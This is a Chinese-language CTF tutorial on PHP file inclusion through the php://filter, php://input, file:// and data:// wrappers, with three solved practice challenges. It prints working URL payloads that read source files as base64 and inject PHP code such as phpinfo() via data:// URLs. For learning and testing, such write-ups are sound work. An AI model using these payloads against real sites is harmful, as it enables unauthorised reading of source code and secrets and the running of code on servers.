常见的文件包含函数
首先归纳下常见的文件包含函数:include
、require
、include_once
、require_once
、highlight_file
、show_source
、readfile
、file_get_contents
、fopen
、file
。
# 默认开启,该选项为on便是激活了URL形式的fopen封装协议使得可以访问URL对象文件等。 allow_url_fopen:on
# 默认关闭,该选项为on便是允许包含URL对象文件等。
allow_url_include:off
file://协议
file在allow_url_fopen和allow_url_include均off的情况下也可使用。
file://
通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
文件系统是PHP使用的默认封装协议,展现了本地文件系统。 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。
php://协议
不需要开启allow_url_fopen,仅php://input、php://stdin、php://memory和php://temp需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input
。php://filter
用于读取源码,php://input
用于执行php代码。
php://input
是个可以访问请求的原始数据的只读流。但是当enctype="multipart/form-data"
的时候php://input
是无效的。
php://filter
在allow_url_fopen
和allow_url_include
均off
也能正常使用。参数列表如下
例题【读取源代码】- php://filter
分析下代码,告诉我们flag
在/flag
里面,需要使用php://
伪协议。
使用php://filter
读取源代码并进行base64编码输出。
payload为
?file=php://filter/read=convert.base64-encode/resource=/flag
得到的数据如下图所示,进行base64解码即可得到flag
。
例题【远程包含】- php://input
看下phpinfo,发现两个都开了。
用php://input
,然后post我们需要执行的代码,看下当前目录的文件。只有index.php
和phpinfo.php
。
去上一级看看吧,发现了flag
文件。
读取一下,拿到flag。
data://协议
根据官方文档,使用data://协议必须满足allow_url_fopen和allow_url_include都开启。
以下代码打印data://的内容。
<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>
获取媒体类型。
<?php
$fp = fopen('data://text/plain;base64,', 'r');
$meta = stream_get_meta_data($fp);
// 打印 "text/plain"
echo $meta['mediatype'];
?>
下面是是两个实例。
http://127.0.0.1/test.php?file=data://text/plain,<?php phpinfo()?> http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
例题【fileclude】- data://
源代码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
?>
需要传递file1和file2参数,file1很简单,跟前面几道题一样。
file1=php://filter/read=convert.base64-encode/resource=flag.php
然后看看file2。
file_get_contents($file2) === "hello ctf"
用data协议即可,aGVsbG8gY3Rm是hello ctf的base64编码。
file2=data://text/plain;base64,aGVsbG8gY3Rm
最后的payload为
http://61.147.171.105:64400/?file2=data://text/plain;base64,aGVsbG8gY3Rm&file1=php://filter/read=convert.base64-encode/resource=flag.php
最后将得到的base64密文去解码即可。拿下flag。